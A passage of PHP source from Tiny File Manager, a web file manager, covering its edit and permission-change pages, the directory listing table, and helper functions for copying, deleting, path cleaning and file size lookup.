                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);

    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                if ($calc_folder) {
                    $filesize_raw = fm_get_directorysize($path . '/' . $f);
                    $filesize = fm_get_filesize($filesize_raw);
                }
                else {
                    $filesize_raw = "";
                    $filesize = lng('Folder');
                }
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>                                                                                                                           
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"> 
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td class="gray"></td><?php endif; ?>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
                            <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
                            <?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?>
                            <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </td>
                    </tr>
                </tfoot>
                <?php
            }
            ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>

</form>

<?php
fm_show_footer();

//--- END

// Functions

/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;

    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }

    return $allowed;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!$isFileAllowed) return false;

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    } 
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory) {
    global $calc_folder;
    if ($calc_folder==true) { //  Slower output
      $size = 0;  $count= 0;  $dirCount= 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
    if ($file->isFile())
        {   $size+=$file->getSize();
            $count++;
        }
    else if ($file->isDir()) { $dirCount++; }
    // return [$size, $count, $dirCount];
    return $size;
    }
    else return 'Folder'; //  Quick output
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => zip_entry_filesize($zip_entry),
                    'compressed_size' => zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
